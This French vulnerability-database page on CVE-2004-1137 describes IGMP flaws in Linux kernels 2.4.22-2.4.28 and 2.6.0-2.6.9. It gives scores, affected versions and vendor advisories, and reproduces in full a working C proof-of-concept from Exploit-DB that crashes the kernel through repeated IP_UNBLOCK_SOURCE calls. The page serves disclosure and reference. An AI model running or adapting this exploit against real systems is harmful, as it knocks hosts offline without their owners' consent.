CVE-2004-1137 : Détail

CVE-2004-1137

15.82%V4
Network
2004-12-15
04h00 +00:00
2017-10-09
22h57 +00:00
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Descriptions du CVE

Multiple vulnerabilities in the IGMP functionality for Linux kernel 2.4.22 to 2.4.28, and 2.6.x to 2.6.9, allow local and remote attackers to cause a denial of service or execute arbitrary code via (1) the ip_mc_source function, which decrements a counter to -1, or (2) the igmp_marksources function, which does not properly validate IGMP message parameters and performs an out-of-bounds read.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 686

Date de publication : 2004-12-13 23h00 +00:00
Auteur : Paul Starzetz
EDB Vérifié : Yes

/* * Linux igmp.c local DoS * Warning: this code will crash your machine! * * gcc -O2 mreqfck.c -o mreqfck * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #include <stdio.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <linux/types.h> #define MCAST_INCLUDE 1 #define IP_MSFILTER 41 #define IP_UNBLOCK_SOURCE 37 #define IP_BLOCK_SOURCE 38 struct ip_msfilter { __u32 imsf_multiaddr; __u32 imsf_interface; __u32 imsf_fmode; __u32 imsf_numsrc; __u32 imsf_slist[1]; }; struct ip_mreq_source { __u32 imr_multiaddr; __u32 imr_interface; __u32 imr_sourceaddr; }; void fatal (const char *message) { printf ("\n"); if (!errno) { fprintf (stdout, "FATAL: %s\n", message); } else { fprintf (stdout, "FATAL: %s (%s) ", message, (char *) (strerror (errno))); } printf ("\n"); fflush (stdout); exit (1); } int main () { int s, r, l; struct ip_mreqn mr; struct ip_msfilter msf; struct ip_mreq_source ms; in_addr_t a1, a2; s = socket (AF_INET, SOCK_DGRAM, 0); if (s < 0) fatal ("socket"); // first join mcast group memset (&mr, 0, sizeof (mr)); mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); l = sizeof (mr); r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l); if (r < 0) fatal ("setsockopt"); // add source filter count=1 memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt2"); // del source filter count = 0 // imr_multiaddr & imr_interface must correspond to ADD memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt2"); // del again, count = -1 memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt3"); // crash memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt4"); getchar (); return 0; } // milw0rm.com [2004-12-14]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.1

Linux>>Linux_kernel >> Version 2.4.2

Linux>>Linux_kernel >> Version 2.4.3

Linux>>Linux_kernel >> Version 2.4.4

Linux>>Linux_kernel >> Version 2.4.5

Linux>>Linux_kernel >> Version 2.4.6

Linux>>Linux_kernel >> Version 2.4.7

Linux>>Linux_kernel >> Version 2.4.8

Linux>>Linux_kernel >> Version 2.4.9

Linux>>Linux_kernel >> Version 2.4.10

Linux>>Linux_kernel >> Version 2.4.11

Linux>>Linux_kernel >> Version 2.4.12

Linux>>Linux_kernel >> Version 2.4.13

Linux>>Linux_kernel >> Version 2.4.14

Linux>>Linux_kernel >> Version 2.4.15

Linux>>Linux_kernel >> Version 2.4.16

Linux>>Linux_kernel >> Version 2.4.17

Linux>>Linux_kernel >> Version 2.4.18

Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.20

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.22

    Linux>>Linux_kernel >> Version 2.4.23

    Linux>>Linux_kernel >> Version 2.4.23

    Linux>>Linux_kernel >> Version 2.4.23_ow2

      Linux>>Linux_kernel >> Version 2.4.24

      Linux>>Linux_kernel >> Version 2.4.24_ow1

        Linux>>Linux_kernel >> Version 2.4.25

        Linux>>Linux_kernel >> Version 2.4.26

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.28

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.2

        Linux>>Linux_kernel >> Version 2.6.3

        Linux>>Linux_kernel >> Version 2.6.4

        Linux>>Linux_kernel >> Version 2.6.5

        Linux>>Linux_kernel >> Version 2.6.6

        Linux>>Linux_kernel >> Version 2.6.6

        Linux>>Linux_kernel >> Version 2.6.7

        Linux>>Linux_kernel >> Version 2.6.7

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.9

          Linux>>Linux_kernel >> Version 2.6_test9_cvs

            Ubuntu>>Ubuntu_linux >> Version 4.1

              Ubuntu>>Ubuntu_linux >> Version 4.1

                Références

                http://www.mandriva.com/security/advisories?name=MDKSA-2005:022
                Tags : vendor-advisory, x_refsource_MANDRAKE
                http://marc.info/?l=bugtraq&m=110306397320336&w=2
                Tags : mailing-list, x_refsource_BUGTRAQ
                https://bugzilla.fedora.us/show_bug.cgi?id=2336
                Tags : vendor-advisory, x_refsource_FEDORA
                http://www.redhat.com/support/errata/RHSA-2005-092.html
                Tags : vendor-advisory, x_refsource_REDHAT